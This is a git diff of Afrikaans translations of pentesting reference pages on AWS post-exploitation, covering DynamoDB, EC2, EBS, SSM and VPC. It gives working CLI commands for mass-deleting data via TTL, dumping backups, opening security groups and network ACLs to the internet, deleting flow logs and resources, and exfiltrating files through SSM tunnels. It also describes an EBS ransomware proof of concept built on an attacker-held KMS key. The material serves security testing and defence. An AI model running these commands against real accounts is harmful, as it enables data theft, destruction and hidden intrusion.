+- Read permissions on the attacker-owned Kinesis stream om rekords te verwerk: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -528,8 +526,45 @@ aws dynamodb disable-kinesis-streaming-destination \
 aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
 aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
+### `dynamodb:UpdateTimeToLive`
+
+'n Aanvaller met die dynamodb:UpdateTimeToLive toestemming kan die tabel se TTL (time-to-live) konfigurasie verander — TTL aktiveer of deaktiveer. Wanneer TTL geaktiveer is, sal individuele items wat die gekonfigureerde TTL-attribuut bevat, outomaties verwyder word sodra hul vervaltyd bereik is. Die TTL-waarde is net nog ’n attribuut op elke item; items sonder daardie attribuut word nie deur TTL-gebaseerde verwydering beïnvloed nie.
+
+As items nog nie die TTL-attribuut bevat nie, sal die aanvaller ook ’n toestemming nodig hê wat items opdateer (byvoorbeeld dynamodb:UpdateItem) om die TTL-attribuut by te voeg en massa-verwyderings te aktiveer.
+
+Skakel eers TTL op die tabel in en spesifiseer die attribuutnaam wat vir verval gebruik word:
+```bash
+aws dynamodb update-time-to-live \
+--table-name <TABLE_NAME> \
+--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
+```
+Werk dan die items by om die TTL-attribuut (epoch-sekondes) by te voeg sodat hulle verstryk en verwyder sal word:
+```bash
+aws dynamodb update-item \
+--table-name <TABLE_NAME> \
+--key '<PRIMARY_KEY_JSON>' \
+--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
+--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
+```
+### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
+
+’n aanvaller met dynamodb:RestoreTableFromAwsBackup of dynamodb:RestoreTableToPointInTime magte kan nuwe tabelle skep wat uit backups of uit point-in-time recovery (PITR) herstel is sonder om die oorspronklike tabel te oorskryf. Die herstelde tabel bevat ’n volledige beeld van die data op die gekose tydstip, sodat die aanvaller dit kan gebruik om historiese inligting te exfiltrate of om ’n volledige dump van die databasis se vorige toestand te verkry.
+
+Herstel ’n DynamoDB-tabel vanaf ’n on-demand backup:
+```bash
+aws dynamodb restore-table-from-backup \
+--target-table-name <NEW_TABLE_NAME> \
+--backup-arn <BACKUP_ARN>
+```
+Herstel 'n DynamoDB-tabel na 'n punt in tyd (skep 'n nuwe tabel met die herstelde toestand):
+```bash
+aws dynamodb restore-table-to-point-in-time \
+--source-table-name <SOURCE_TABLE_NAME> \
+--target-table-name <NEW_TABLE_NAME> \
+--use-latest-restorable-time
+````
 </details>
 
-**Potensiële impak:** Deurlopende, byna reële-tyd eksfiltrasie van tabelveranderinge na 'n deur 'n aanvaller beheerde Kinesis-stream sonder direkte leesbewerkings op die tabel.
+**Potensiële impak:** Deurlopende, byna in reële tyd exfiltration van tabelveranderinge na 'n deur die aanvaller beheerde Kinesis-stream sonder direkte leesoperasies op die tabel.
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## EC2 & VPC
 
-Vir meer inligting, sien:
+Vir meer inligting, kyk:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,8 +12,8 @@ Vir meer inligting, sien:
 
 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
-'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te bekom:
+VPC traffic mirroring dupliseer inkomende en uitgaande verkeer vir EC2 instances binne 'n VPC sonder dat daar iets op die instances self geïnstalleer hoef te word. Hierdie gedupliseerde verkeer word gewoonlik na iets soos 'n network intrusion detection system (IDS) gestuur vir ontleding en monitering.\
+'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiwe inligting daaruit te bekom:
 
 Vir meer inligting, sien hierdie bladsy:
 
@@ -21,9 +21,9 @@ Vir meer inligting, sien hierdie bladsy:
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Copy Running Instance
+### Kopieer lopende Instance
 
-Instances bevat gewoonlik 'n vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (sien [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te sien wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie account) daaruit te begin**:
+Instances bevat gewoonlik sensitiwe inligting. Daar is verskillende maniere om binne te kom (sien [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Nog 'n manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daarvan te laat loop**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots are backups of volumes**, wat gewoonlik **gevoelige inligting** bevat; daarom behoort die kontrole daarvan hierdie inligting te openbaar.\
-As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of net **mount it in an instance** binne die account:
+**Snapshots are backups of volumes**, wat gewoonlik **gevoelige inligting** sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.\
+As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of dit bloot **mount it in an instance** binne die rekening:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
 
 ### Covert Disk Exfiltration via AMI Store-to-S3
 
-Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dit maak volle off-line forensiese ontleding of data-diefstal moontlik terwyl die instance se netwerk onaangeraak bly.
+Exporteer 'n EC2 AMI direk na S3 met `CreateStoreImageTask` om 'n rou skyfbeeld te kry sonder snapshot sharing. Dit maak volledige offline forensiese ondersoek of data-diefstal moontlik terwyl die instance se netwerking onaangeraak bly.
 
 {{#ref}}
 aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
 
 ### Live Data Theft via EBS Multi-Attach
 
-Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nuttig wanneer die slagoffer se volume reeds Multi-Attach binne dieselfde AZ geaktiveer is.
+Koppel 'n io1/io2 Multi-Attach volume aan 'n tweede instance en mount dit read-only om live data af te tap sonder snapshots. Nuttig wanneer die slagoffer-volume reeds Multi-Attach binne dieselfde AZ geaktiveer het.
 
 {{#ref}}
 aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
 
 ### EC2 Instance Connect Endpoint Backdoor
 
-Skep 'n EC2 Instance Connect Endpoint, autoriseer ingress, en injekteer ephemerale SSH-sleutels om private instances oor 'n bestuurde tonnel te bereik. Verskaf vinnige laterale bewegingspaaie sonder om publieke poorte oop te stel.
+Skep 'n EC2 Instance Connect Endpoint, authorize ingress, en injekteer ephemeral SSH keys om private instances oor 'n managed tunnel te bereik. Gee vinnige lateral movement paaie sonder om publieke porte te open.
 
 {{#ref}}
 aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
 
 ### EC2 ENI Secondary Private IP Hijack
 
-Skuif 'n slagoffer-ENI se sekondêre private IP na 'n aanvaller-beheerde ENI om vertroude hosts te imiteer wat per IP op 'n allowlist is. Laat toe om interne ACLs of SG-reëls wat aan spesifieke adresse gekoppel is, te omseil.
+Skuif 'n slagoffer ENI se secondary private IP na 'n attacker-controlled ENI om vertroude hosts te imiteer wat per IP allowlisted is. Dit maak dit moontlik om interne ACLs of SG rules wat aan spesifieke adresse gekoppel is te omseil.
 
 {{#ref}}
 aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
 
 ### Elastic IP Hijack for Ingress/Egress Impersonation
 
-Herassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat voorkom asof hulle van vertroude openbare IP's kom.
+Hervassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat lyk asof dit van vertroude openbare IPs afkomstig is.
 
 {{#ref}}
 aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
 
 ### Security Group Backdoor via Managed Prefix Lists
 
-As 'n security group-reël na 'n customer-managed prefix list verwys, sal die byvoeging van attacker CIDRs tot daardie lys stilweg die toegang uitbrei oor al die afhanklike SG-reëls sonder om die SG self te wysig.
+As 'n security group rule na 'n customer-managed prefix list verwys, brei die toevoeging van attacker CIDRs by die lys stilletjies die toegang oor elke afhanklike SG rule uit sonder om die SG self te verander.
 
 {{#ref}}
 aws-managed-prefix-list-backdoor.md
@@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md
 
 ### VPC Endpoint Egress Bypass
 
-Skep gateway- of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herstel. Die benutting van AWS-managed private links omseil ontbrekende IGW/NAT-kontroles vir data exfiltration.
+Skep gateway of interface VPC endpoints om weer outbound toegang vanaf geïsoleerde subnets te kry. Die benutting van AWS-managed private links omseil ontbrekende IGW/NAT kontroles vir data exfiltration.
 
 {{#ref}}
 aws-vpc-endpoint-egress-bypass.md
 {{#endref}}
 
+### `ec2:AuthorizeSecurityGroupIngress`
+
+'n aanvaller met die ec2:AuthorizeSecurityGroupIngress permission kan inbound rules by security groups voeg (byvoorbeeld die toelating van tcp:80 vanaf 0.0.0.0/0), en sodoende interne dienste blootstel aan die public Internet of andersins ongemagtigde netwerke.
+```bash
+aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
+```
+# `ec2:ReplaceNetworkAclEntry`
+'n Aanvaller met ec2:ReplaceNetworkAclEntry (of soortgelyke) regte kan die subnet se Network ACLs (NACLs) wysig om hulle baie permissief te maak — byvoorbeeld deur 0.0.0.0/0 op kritieke poorte toe te laat — en sodoende die hele subnet-reeks aan die Internet of aan ongemagtigde netwerksegmente bloot te stel. Anders as Security Groups, wat per-instance toegepas word, word NACLs op subnetvlak toegepas, so die verandering van 'n beperkende NACL kan 'n baie groter slagveldstraal hê deur toegang tot baie meer hosts moontlik te maak.
+```bash
+aws ec2 replace-network-acl-entry \
+--network-acl-id <ACL_ID> \
+--rule-number 100 \
+--protocol <PROTOCOL> \
+--rule-action allow \
+--egress <true|false> \
+--cidr-block 0.0.0.0/0
+```
+### `ec2:Delete*`
+
+'n Aanvaller met ec2:Delete* en iam:Remove* toestemmings kan kritieke infrastruktuurbronne en -konfigurasies verwyder — byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes of attachments, security groups of rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, data verlies, en verlies van forensiese bewyse veroorsaak.
+
+One example is deleting a security group:
+
+aws ec2 delete-security-group \
+--group-id <SECURITY_GROUP_ID>
+
 ### VPC Flow Logs Cross-Account Exfiltration
 
-Wys VPC Flow Logs na 'n aanvaler-beheerde S3-bucket om voortdurend netwerk-metagegewens (bron/bestemming, poorte) buite die slagoffer-rekening te versamel vir langtermyn verkenning.
+Wys VPC Flow Logs na 'n attacker-controlled S3 bucket om netwerkmetadata (source/destination, ports) deurlopend buite die slagoffer rekening te versamel vir langtermyn reconnaissance.
 
 {{#ref}}
 aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -124,9 +150,9 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
 
 #### DNS Exfiltration
 
-Selfs as jy 'n EC2 toemaak sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
+Selfs as jy 'n EC2 toesluit sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
 
-- **VPC Flow Logs sal dit nie opneem nie**.
+- **VPC Flow Logs sal dit nie rekordeer nie**.
 - Jy het geen toegang tot AWS DNS logs nie.
 - Deaktiveer dit deur "enableDnsSupport" op false te stel met:
 
@@ -134,20 +160,20 @@ Selfs as jy 'n EC2 toemaak sodat geen verkeer kan uitgaan nie, kan dit steeds **
 
 #### Exfiltration via API calls
 
-'n Aanvaller kan API-endpunte van 'n rekening wat hy beheer, aanroep. Cloudtrail sal hierdie oproepe log en die aanvaller sal die exfiltrate data in die Cloudtrail-logs kan sien.
+'n aanvaller kan API endpoints van 'n rekening wat hy beheer aanroep. Cloudtrail sal hierdie oproepe log en die aanvaller sal die exfiltrate data in die Cloudtrail logs kan sien.
 
 ### Open Security Group
 
-Jy kan verdere toegang tot netwerkdienste kry deur poorte soos hierdie oop te maak:
+Jy kan verdere toegang tot netwerkdienste kry deur poorte so oop te maak:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc to ECS
+### Privesc na ECS
 
-Dit is moontlik om 'n EC2-instansie te laat loop en dit te registreer sodat dit gebruik kan word om ECS-instanse te laat loop en daarna die data van die ECS-instanse te steel.
+Dit is moontlik om 'n EC2-instansie te laat loop en dit te registreer sodat dit gebruik kan word om ECS-instansies te laat loop, en dan die ECS-instansies se data te steel.
 
-Vir [**meer inligting, kyk hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
+Vir [**meer inligting, sien dit hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
 ### Verwyder VPC flow logs
 ```bash
@@ -155,68 +181,68 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
 ### SSM Port Forwarding
 
-Required permissions:
+Vereiste permissies:
 
 - `ssm:StartSession`
 
-Benewens command execution, laat SSM verkeerstunneling toe wat misbruik kan word om vanaf EC2 instances te pivot wat geen netwerktoegang het weens Security Groups of NACLs nie.
-Een scenario waar dit nuttig is, is om te pivot van die [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster.
+Benewens command-uitvoering, laat SSM toe vir traffic tunneling wat misbruik kan word om te pivot vanaf EC2 instances wat nie netwerktoegang het nie as gevolg van Security Groups of NACLs.
+Een van die scenario's waar dit nuttig is, is om te pivot vanaf 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster.
 
-> Om 'n sessie te begin moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Om 'n sessie te begin, moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. Installeer die SessionManagerPlugin op jou masjien
-2. Meld aan by die Bastion EC2 met die volgende opdrag:
+2. Teken in op die Bastion EC2 met die volgende opdrag:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Kry die Bastion EC2 AWS tydelike credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
-4. Dra die credentials oor na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel
+3. Kry die Bastion EC2 AWS tydelike credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skrip
+4. Skuif die credentials na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel
 5. Teken in by EKS as die Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Werk die `server`-veld in die `$HOME/.kube/config`-lêer by om na `https://localhost` te wys
-7. Skep 'n SSM tunnel soos volg:
+6. Werk die `server`-veld in die `$HOME/.kube/config` lêer by om na `https://localhost` te wys
+7. Skep 'n SSM-tunnel soos volg:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-Die verkeer van die `kubectl`-gereedskap word nou deur die SSM-tonnel via die Bastion EC2 deurgestuur, en jy kan vanaf jou eie masjien toegang tot die privaat EKS-kluster kry deur die volgende uit te voer:
+8. Die verkeer van die `kubectl`-tool word nou deur die SSM-tunnel via die Bastion EC2 gelei en jy kan die privaat EKS-kluster vanaf jou eie masjien bereik deur die volgende uit te voer:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Let wel dat SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag stel (of die ekwivalent daarvan in K8s-auditgereedskap). Aangesien die verkeer deur die veilige AWS SSM tunnel getunnel word, is jy veilig teen enige soort MitM-aanvalle.
+Let wel dat SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag stel (of die ekwivalent in K8s audit tools). Aangesien die verkeer deur die veilige AWS SSM-tunnel getonnel word, is jy beskerm teen enige vorm van MitM-aanvalle.
 
-Laastens, hierdie tegniek is nie spesifiek tot die aanval van private EKS clusters nie. Jy kan ewekansige domeine en poorte instel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
+Laastens, hierdie tegniek is nie beperk tot die aanval op privaat EKS-klusters nie. Jy kan arbitrêre domeine en poorte instel om te pivot na enige ander AWS-diens of 'n aangepaste toepassing.
 
 ---
 
-#### Vinnige Plaaslike ↔️ Afgeleë Port Forward (AWS-StartPortForwardingSession)
+#### Vinnige Lokale ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
 
-As jy slegs een **TCP-poort vanaf die EC2 instance na jou plaaslike gasheer** hoef deur te stuur, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen remote host-parameter benodig):
+As jy slegs een TCP-poort vanaf die EC2-instansie na jou lokale host hoef te forward, kan jy die `AWS-StartPortForwardingSession` SSM dokument gebruik (geen remote host parameter benodig nie):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Die opdrag stel 'n tweerigtingtonnel in tussen jou workstation (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instance **sonder om enige inkomende Security-Group-reëls oop te maak**.
+Die opdrag stel 'n tweerigting tonnel in tussen jou werksstasie (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instansie **sonder om enige inkomende Security-Group-reëls oop te maak**.
 
-Gereelde gebruiksgevalle:
+Algemene gebruiksgevalle:
 
 * **File exfiltration**
-1. Op die instance begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:
+1. Op die instansie begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. Vanaf jou workstation haal die lêers op deur die SSM-tunnel:
+2. Vanaf jou werksstasie haal die lêers deur die SSM-tonnel:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Toegang tot interne webtoepassings (e.g. Nessus)**
+* **Toegang tot interne webtoepassings (bv. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -224,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Wenk: Compress and encrypt evidence before exfiltrating it so that CloudTrail does not log the clear-text content:
+Wenk: Komprimeer en enkripteer bewyse voordat jy dit exfiltrating, sodat CloudTrail nie die clear-text inhoud log nie:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -233,9 +259,9 @@ Wenk: Compress and encrypt evidence before exfiltrating it so that CloudTrail do
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Soek sensitiewe inligting in openbare en privaat AMIs
+### Soek sensitiewe inligting in openbare en private AMIs
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of privaat Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instances vanaf teiken AMIs te loods, hul volumes te mount, en te skandeer vir potensiële secrets of sensitiewe data.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n tool ontwerp om **soek sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs)**. Dit outomatiseer die proses om instances vanaf target AMIs te launch, hul volumes te mount, en te scan vir potensiële secrets of sensitiewe data.
 
 ### Deel EBS Snapshot
 ```bash
@@ -243,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ```
 ### EBS Ransomware PoC
 
-Bewys van konsep soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notas. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
+'n bewys van konsep (PoC) soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notes. KMS behoort hernoem te word na RMS (Ransomware Management Service) weens hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
 
-Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal AWS net die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die key policy sodat enige AWS account Principal die sleutel kan gebruik. Vir hierdie key policy was die rekening se naam 'AttackSim' en die beleidreël wat alle toegang toelaat, heet 'Outside Encryption'.
+Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal ons AWS net die sleuteldata bestuur, maar in 'n realistiese scenario sou 'n malicious actor die sleuteldata buite AWS' beheer behou. Verander die key policy om enige AWS account Principal toe te laat om die sleutel te gebruik. Vir hierdie key policy was die account's name 'AttackSim' en die policy rule wat alle toegang toelaat, word 'Outside Encryption' genoem.
 ```
 {
 "Version": "2012-10-17",
@@ -337,7 +363,7 @@ Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir
 ]
 }
 ```
-Die key policy-regel benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om `n EBS` volume te enkripteer:
+Die sleutelbeleid-reël benodig die volgende aangeskakel om die vermoë te hê om dit te gebruik om `n EBS` volume te enkripteer:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -345,21 +371,21 @@ Die key policy-regel benodig die volgende geaktiveer om die vermoë te hê om di
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
+Nou met die publiek-toeganklike sleutel om te gebruik. Ons kan `n 'victim' account` gebruik wat 'n paar EC2-instanse opgeroep het met nie-gekodeerde EBS-volumes aangeheg. Hierdie `victim` account se EBS-volumes is wat ons teiken vir enkripsie; hierdie aanval is onder die veronderstelde oortreding van 'n hoë-privilegie AWS account.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Soortgelyk aan die S3 ransomware example. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep deur snapshots te gebruik, die publicly available key van die 'attacker' account gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2 instances loskoppel en uitvee, en uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, verwyder. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Soortgelyk aan die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die `attacker` account gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse loskoppel en uitvee, en uiteindelik die snapshots verwyder wat gebruik is om die nuut-enkodeerde EBS-volumes te skep. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Dit lei daartoe dat slegs geënkripteerde EBS-volumes in die account beskikbaar oorbly.
+Dit lei daartoe dat slegs enkripteerde EBS-volumes in die account beskikbaar oorbly.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Verder die moeite werd om te noem, die script het die EC2 instances gestop om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
+Verder is dit die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes los te koppel en uit te vee. Die oorspronklike nie-gekodeerde volumes is nou weg.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
+Gaan dan terug na die sleutelbeleid in die `attacker` account en verwyder die `Outside Encryption` policy rule uit die sleutelbeleid.
 ```json
 {
 "Version": "2012-10-17",
@@ -430,15 +456,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
 ]
 }
 ```
-Wag 'n oomblik totdat die nuut ingestelde key policy gepropageer het. Keer dan terug na die 'victim' rekening en probeer om een van die nuut-geënkripteerde EBS-volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
+Wag 'n oomblik totdat die pas gestelde sleutelbeleid versprei. Keer dan terug na die 'victim' account en probeer om een van die pas-geënkripteerde EBS volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Maar wanneer jy probeer om die EC2-instance weer aan te skakel met die geënkripteerde EBS-volume, sal dit net misluk en van die 'pending' toestand terug na die 'stopped' toestand gaan en daar bly, omdat die aangehegte EBS-volume nie met die key gedekripteer kan word nie aangesien die key policy dit nie meer toelaat nie.
+Maar wanneer jy probeer om die EC2 instance weer te begin met die geënkripteerde EBS volume, sal dit net misluk en van die 'pending' state terug na die 'stopped' state gaan vir ewig, aangesien die aangehegte EBS volume nie met die sleutel ontsleutel kan word nie omdat die sleutelbeleid dit nie meer toelaat nie.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Dit is die Python-skrip wat gebruik is. Dit neem AWS creds vir 'n 'victim' rekening en 'n publiek beskikbare AWS ARN-waarde vir die key wat vir enkripsie gebruik sal word. Die skrip sal geënkripteerde kopieë maak van ALLE beskikbare EBS-volumes wat aan ALLE EC2-instances in die geteikende AWS-rekening aangeheg is, dan elke EC2-instance stop, die oorspronklike EBS-volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is verwyder. Dit sal slegs geënkripteerde EBS-volumes in die geteikende 'victim' rekening laat. GEBRUIK HIERDIE SKRIP SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS-VOLUMES VERWYDER. Jy kan dit herstel deur die gebruikte KMS key te gebruik en dit deur snapshots na hul oorspronklike staat te herstel, maar ek wil net hê jy moet bewus wees dat dit uiteindelik 'n ransomware PoC is.
